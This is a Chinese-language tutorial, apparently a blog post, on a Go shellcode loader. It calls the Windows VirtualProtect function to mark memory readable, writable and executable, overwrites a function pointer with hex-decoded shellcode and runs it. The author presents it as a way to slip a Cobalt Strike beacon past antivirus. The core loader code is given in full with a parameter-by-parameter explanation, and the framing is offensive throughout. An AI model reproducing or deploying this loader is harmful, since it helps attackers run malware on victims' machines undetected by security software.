简述
虚拟保护技术利用的是 Windows API 中的 VirtualProtect 函数,是对应 Win32 函数的逻辑包装函数,它会在呼叫处理程序的虚拟位置空间里,变更认可页面区域上的保护。说明白点,它的作用就是改变调用进程的一段页的保护属性,如果想要改变其他进程,就需要用到 VirtualProtectEx 函数。这里,我利用 VirtualProtect 函数将 shellcode 所在内存区域设置为可执行模式,并且设置好 shellcode 所在内存起始地址以及内存原始属性类型保存地址,这样的 shellcode 内存区域被设置成可执行模式后,shellcode 就会被正常执行了。
实现思路
关于VirtualProtect函数代码如下:
func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
ret, _, _ := procVirtualProtect.Call(
uintptr(lpAddress),
uintptr(dwSize),
uintptr(flNewProtect),
uintptr(lpflOldProtect))
return ret > 0
}
简单的解释下以上的参数
lpAddress:要改变属性的内存起始地址(shellcode所在内存空间的起始地址)
dwSize:要改变属性的内存区域大小(shellcode长度大小)
flNewProtect:内存新的属性类型,设置为PAGE_EXECUTE_READWRITE(0x40)时该内存页为可读可写可执行。(此值为0x40)
备注:为什么是0x40,这个值怎么来的。下方链接有介绍哈,这里我简单解释一下。这是填的是内存保护常数,常数的值不同所对应的功能也不一样,对照链接里面的描述,因为现在我需要这个内存区域的可执行权限和写权限,所以这里的值必须得是0x40才能满足我的需求。
https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants
lpflOldProtect:内存原始属性类型保存地址。
再来看看核心代码部分:
func ShellCodeVirtualProtect(sc string) {
f := func() {}
var oldfperms uint32
if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
panic("Call to VirtualProtect failed!")
}
ds, _ := hex.DecodeString(sc)
**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&ds))
var oldshellcodeperms uint32
if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&ds))), uintptr(len(ds)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
panic("Call to VirtualProtect failed!")
}
f()
}
可见其核心就是利用 VirtualProtect 函数实现,ds 就是 shellcode。如果函数成功,则返回值非零。如果函数失败,则返回值为零。
最后的CS上线免杀效果:
参考资料:
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants
https://blog.csdn.net/weixin_34004576/article/details/90360650
https://blog.csdn.net/zacklin/article/details/7478118